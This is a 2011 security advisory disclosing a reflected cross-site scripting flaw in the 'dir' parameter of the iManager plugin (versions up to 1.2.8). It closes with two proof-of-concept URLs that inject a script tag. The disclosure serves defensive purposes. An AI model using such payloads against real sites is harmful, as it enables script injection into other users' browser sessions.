iManager Plugin v1.2.8 (dir) Remote Cross-Site Scripting Vulnerability


Vendor: net4visions.com
Product web page: http://www.net4visions.com
Affected version: <= 1.2.8 Build 02012008

Summary: With iManager you can manage your files/images on your webserver,
and it provides user interface to most of the phpThumb() functions. It works
either stand-alone or as a plugin to WYSIWYG editors like tinyMCE, SPAW,
htmlAREA, Xinha and FCKeditor.

Desc: iManager suffers from a XSS vulnerability when parsing user
input to the 'dir' parameter via GET method in 'random.php' and
'phpThumb.demo.random.php'. Attackers can exploit this weakness to
execute arbitrary HTML and script code in a user's browser session.


Tested on: Microsoft Windows XP Professional SP3 (EN)
           Apache 2.2.14 (Win32)
           PHP 5.3.1
           MySQL 5.1.41


Vulnerability discovered by Gjoko 'LiquidWorm' Krstic
                            liquidworm gmail com


Advisory ID: ZSL-2011-5045
Advisory URL: http://www.zeroscience.mk/en/vulnerabilities/ZSL-2011-5045.php


15.09.2011

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http://SOME_CMS/jscripts/tiny_mce/plugins/imanager/scripts/random.php?dir=<script>alert('zsl')</script>
http://SOME_CMS/jscripts/tiny_mce/plugins/imanager/scripts/phpThumb/demo/phpThumb.demo.random.php?dir=<script>alert('zsl')</script>